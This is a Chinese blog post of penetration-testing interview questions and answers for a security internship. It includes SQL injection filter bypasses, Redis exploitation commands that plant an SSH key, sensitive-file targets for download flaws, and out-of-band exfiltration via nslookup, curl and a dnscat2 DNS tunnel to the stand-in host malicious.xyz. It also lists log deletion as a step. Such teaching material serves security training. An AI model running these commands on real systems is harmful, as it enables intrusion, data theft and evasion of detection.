2025年渗透测试面试题总结-腾某讯-技术安全实习生(题目+回答)

发布于:2025-03-10 ⋅ 阅读:(17) ⋅ 点赞:(0)

网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

腾讯-技术安全实习生

一、SQL二次注入原理与修复

二、SQL注入过滤information的绕过方法

三、Redis未授权访问漏洞

四、渗透测试标准化流程mermaid

五、CTF经典题型案例

六、文件下载漏洞利用

七、HTTP不出网的命令执行漏洞处理

八、隧道通信技术细节(以DNS隧道为例)

 

腾讯-技术安全实习生

sql二次注入原理

二次注入修复

sql注入过waf了解吗,若一个sql注入过滤了information关键词,怎么绕过

redis未授权访问

渗透测试完整流程

打CTF印象比较深刻的题目

文件下载漏洞利用方式

利用文件下载漏洞找文件名具体是找什么文件名(读取文件一般会读取哪些文件)(ctf中?实战中)

命令执行漏洞,http不出网有什么比较号的处理方法(发散一点说)

接上一题,通过隧道通信,详细讲讲通过上面类型的隧道,讲讲具体的操作

一、SQL二次注入原理与修复

原理
首次数据存储时未过滤(如用户注册/留言内容),攻击者在二次调用场景(如修改密码、数据关联查询)中触发恶意SQL语句。例如:注册用户名为admin'--,后续密码修改时拼接语句导致权限绕过。

修复方案

  1. 全流程参数化查询:使用预编译语句(如PreparedStatement)替代动态拼接
  2. 输入输出双重过滤:对存储数据再次校验,使用正则表达式拦截敏感字符
  3. 最小化数据库权限:禁止应用账户执行DROPFILE等高危操作
  4. 数据分类处理:对用户名、邮箱等字段强制类型/长度限制

二、SQL注入过滤information的绕过方法

关键词绕过技术

  1. 大小写混合InfORmAtiON_schema
  2. 注释分割inf/*!0x0a*/ormation(利用MySQL内联注释)
  3. 等价函数替代
    • 使用sys.schema_auto_increment_columns (MySQL 5.7+)
    • 利用mysql.innodb_table_stats 读取表名
  4. 编码混淆:URL编码、十六进制(0x696e666f726d6174696f6e
  5. 多语句拼接concat('inf','ormation')

三、Redis未授权访问漏洞

利用方式

  1. 写入SSH密钥bash
    redis-cli -h 目标IP flushall echo -e "\n\nssh-rsa AAAAB3N...\n\n" | redis-cli -h 目标IP -x set crackit redis-cli -h 目标IP config set dir /root/.ssh/ redis-cli -h 目标IP config set dbfilename authorized_keys save

  2. Webshell写入:通过config set dir指向Web目录,写入恶意.php文件
  3. 主从复制RCE:利用SLAVEOF指向恶意Redis服务器加载模块

防御措施

  • 启用requirepass配置强密码
  • 绑定IP白名单(bind 127.0.0.1
  • 禁用高危命令:rename-command FLUSHALL ""

四、渗透测试标准化流程mermaid

graph TD A[前期交互] --> B(信息收集: 域名/端口/指纹/员工信息) B --> C(漏洞扫描: Nessus/AWVS + 手动验证误报) C --> D{漏洞利用: 根据漏洞类型选择EXP} D --> E[横向移动: 票据传递/漏洞链组合] E --> F[数据提取: 敏感文件/数据库脱库] F --> G[痕迹清理: 删除日志/恢复配置] G --> H(报告输出: 风险评级+修复方案)

五、CTF经典题型案例

题目:过滤了select和空格的时间盲注
解法sql

?id=1'/**/and/**/if(ascii(substr((database()),1,1))>100,sleep(3),1)--+

绕过技巧

  • 使用/**/替代空格,mid替代substr
  • 嵌套json_extract函数绕过from关键词过滤

六、文件下载漏洞利用

CTF常见目标文件

  • /proc/self/environ(环境变量泄露)
  • /var/www/html/config.php (数据库凭证)
  • /etc/passwd(用户枚举)

实战利用链

  1. 通过../../遍历读取WEB-INF/web.xml 定位Java类路径
  2. 下载/etc/nginx/sites-enabled/default分析反向代理规则
  3. 结合.bash_history寻找敏感操作记录

七、HTTP不出网的命令执行漏洞处理

无回显利用方案

  1. DNS隧道bash
    # 攻击端启动监听 dnscat2-server --domain=malicious.xyz # 目标端执行 nslookup $(whoami).malicious.xyz 
  2. ICMP隧道:使用ptunnelicmpsh传输数据
  3. 延时盲注:通过sleep $(id|cut -c1)编码执行结果
  4. 临时文件写入bash
    id > /tmp/.httpd_cache && curl -X POST -d @/tmp/.httpd_cache http://malicious.xyz 

八、隧道通信技术细节(以DNS隧道为例)

操作流程

  1. 域名配置:注册域名并设置NS记录指向VPS
  2. 服务端部署bash
    sudo dnscat2-server --secret=加密密钥 malicious.xyz
    
  3. 客户端植入bash
    dnscat2-client --secret=加密密钥 --dns server=malicious.xyz,port=53 --max-retransmits 0
  4. 数据封装:将TCP流量封装为DNS TXT查询请求
  5. 流量伪装:使用iodine支持Base32编码规避检测